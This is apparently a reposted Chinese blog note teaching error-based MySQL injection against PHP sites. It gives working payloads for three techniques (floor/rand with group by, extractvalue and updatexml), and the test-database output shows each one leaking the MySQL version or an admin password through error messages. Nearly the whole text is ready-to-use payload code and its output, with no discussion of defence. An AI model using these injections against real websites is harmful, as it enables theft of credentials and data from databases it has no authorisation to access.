关于Mysql注入过程中的三种报错方式(转)

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。

实际测试环境：

?

1 2 3 4 5 6 7

mysql> show tables; +----------------+ | Tables_in_test | +----------------+ | admin          | | article        | +----------------+

?

1 2 3 4 5 6 7 8

mysql> describe admin; +-------+------------------+------+-----+---------+----------------+ | Field | Type             | Null | Key | Default | Extra          | +-------+------------------+------+-----+---------+----------------+ | id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment | | user  | varchar(50)      | NO   |     | NULL    |                | | pass  | varchar(50)      | NO   |     | NULL    |                | +-------+------------------+------+-----+---------+----------------+

?

1 2 3 4 5 6 7 8

mysql> describe article; +---------+------------------+------+-----+---------+----------------+ | Field   | Type             | Null | Key | Default | Extra          | +---------+------------------+------+-----+---------+----------------+ | id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment | | title   | varchar(50)      | NO   |     | NULL    |                | | content | varchar(50)      | NO   |     | NULL    |                | +---------+------------------+------+-----+---------+----------------+

1、通过floor报错

可以通过如下一些利用代码

?

1 2	and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

?

1 2 3

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1), floor(rand(0)*2)));

举例如下： 首先进行正常查询：

?

1 2 3 4 5 6

mysql> select * from article where id = 1; +----+-------+---------+ | id | title | content | +----+-------+---------+ |  1 | test  | do it   | +----+-------+---------+

假如id输入存在注入的话，可以通过如下语句进行报错。

?

1 2 3

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。 例如我们需要查询管理员用户名和密码： Method1:

?

1 2 3 4

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

Method2:

?

1 2 3 4

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1), floor(rand(0)*2))); ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

2、ExtractValue 测试语句如下

?

1	and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

?

1 2 3

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));-- ERROR 1105 (HY000): XPATH syntax error: '\admin888'

3、UpdateXml 测试语句

?

1	and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

实际测试过程

?

1 2 3

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24, (select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

All, thanks foreign guys.